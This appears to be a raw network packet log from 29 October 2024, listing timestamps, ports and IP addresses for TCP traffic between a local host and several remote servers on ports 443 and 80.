Oct 29, 2024 20:35:19.449873924 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.449923992 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.449959040 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.452996016 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.456984997 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.456984997 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.457004070 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.457014084 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.476975918 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:19.477041006 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:19.477154970 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:19.477458954 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:19.477498055 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:19.482820988 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.482858896 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.483009100 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.483392000 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.483406067 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.483849049 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.483876944 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.483973026 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.483973026 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.483989000 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.484170914 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.484435081 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.484467983 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.484503031 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.484508991 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.484539986 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.484709978 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.484889030 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.484908104 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.484956980 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.484965086 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.484991074 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.485023975 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.485300064 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.485313892 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.485405922 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.485414982 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.485654116 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.485673904 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.485680103 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.485687017 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.485704899 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.485812902 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.486390114 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.486403942 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.486675978 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.486711979 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.486721992 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.486762047 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.486891985 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.487229109 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.487255096 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.487318993 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.487318993 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.487327099 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.488814116 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.488835096 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.488868952 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.488876104 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.488940001 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.489115000 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.489130020 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.489281893 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.489291906 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.489321947 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.489337921 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.489372015 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.489377975 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.489411116 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.489938974 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.489953041 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.490027905 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.490027905 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.490036011 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.490187883 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.490205050 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.490236998 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.490245104 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.490278959 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.490540981 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.490556002 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.490619898 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.490619898 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.490628958 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.507620096 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.507627964 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.531416893 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.531476021 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.532733917 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.536544085 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.536583900 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.536612988 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.536621094 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.552222013 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.552265882 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.552449942 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.552603006 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:19.552618027 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:19.601223946 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.601275921 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.601345062 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.601375103 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.601401091 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.601425886 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.601425886 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.601442099 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.601856947 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.601869106 CET	443	49886	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.601890087 CET	49886	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.617708921 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.618124962 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.619349957 CET	49897	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:19.619373083 CET	443	49897	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:19.742616892 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:19.747931957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:19.955571890 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:19.955993891 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:19.956016064 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:19.957046032 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:19.957123995 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:19.958640099 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:19.958700895 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:19.959162951 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:19.959172964 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:20.000722885 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:20.028016090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028054953 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028074026 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028094053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028115988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028127909 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.028132915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028150082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028151989 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.028179884 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.028218985 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.028297901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028314114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028327942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028343916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028376102 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.028376102 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.028410912 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.028816938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.028873920 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.033518076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.033593893 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.036477089 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.036887884 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.036909103 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.037969112 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.038080931 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.039611101 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.039676905 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.040030956 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.040040016 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.068526983 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.069205999 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.069225073 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.069768906 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.069776058 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.088080883 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:20.091511011 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:20.091519117 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:20.091550112 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:20.091578960 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:20.091582060 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:20.091630936 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:20.091948032 CET	49898	443	192.168.2.5	152.195.19.97
Oct 29, 2024 20:35:20.091964960 CET	443	49898	152.195.19.97	192.168.2.5
Oct 29, 2024 20:35:20.101427078 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.172112942 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.173837900 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.190016985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.190160990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.190212965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.190228939 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.190253973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.190268993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.190275908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.190285921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.190356016 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.190531969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.190629959 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.190768003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.190782070 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.190855026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.191153049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.191171885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.191188097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.191215038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.191328049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.191406965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.191441059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.191453934 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.191468000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.191485882 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.191503048 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.192076921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.192095041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.192136049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.192171097 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.192346096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.192450047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.192468882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.192490101 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.192507982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.192517042 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.192565918 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.192565918 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.193161964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.193186998 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.193207979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.193229914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.193229914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.193263054 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.194685936 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.194696903 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.195302963 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.195307970 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.195616007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.195635080 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.195648909 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.195682049 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.196362972 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.196368933 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.205770016 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.205833912 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.205910921 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.206623077 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.206623077 CET	49900	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.206636906 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.206645012 CET	443	49900	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.213790894 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.214104891 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.214149952 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.215188980 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.215256929 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.216785908 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.216861010 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.216938972 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.232194901 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.232234001 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.232337952 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.232846022 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.232861996 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.259327888 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.272164106 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.272682905 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.272707939 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.273475885 CET	49904	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.273484945 CET	443	49904	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.275557995 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.277097940 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.277113914 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.277545929 CET	49905	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.277553082 CET	443	49905	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.278999090 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.279026985 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.279035091 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.279067039 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.279082060 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.279093027 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.279145002 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.279169083 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.279185057 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.279216051 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.292200089 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.292218924 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.292321920 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.292331934 CET	443	49899	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.292378902 CET	49899	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.323240995 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.323391914 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.323501110 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.325129986 CET	49903	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:20.325148106 CET	443	49903	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:20.333664894 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.333686113 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.333703995 CET	49902	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.333709955 CET	443	49902	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.334111929 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.334340096 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.334391117 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.334398985 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.334444046 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.338439941 CET	49901	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.338454008 CET	443	49901	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.344031096 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.344065905 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.344151020 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.344592094 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.344609976 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.345532894 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.345552921 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.345670938 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.345752954 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:20.345767021 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:20.352087021 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352102041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352112055 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352123022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352183104 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.352205992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.352227926 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352253914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352266073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352277040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352282047 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.352288008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352323055 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.352344990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.352583885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352602005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352612972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352643013 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.352643013 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.352667093 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.352870941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352888107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352899075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352920055 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.352971077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.352981091 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.353024960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.353115082 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.353126049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.353137016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.353147984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.353157043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.353169918 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.353180885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.353214025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.353214025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.353214025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:20.353528976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:20.353574991 CET	49863	80	192.168.2.5	185.215.113.206
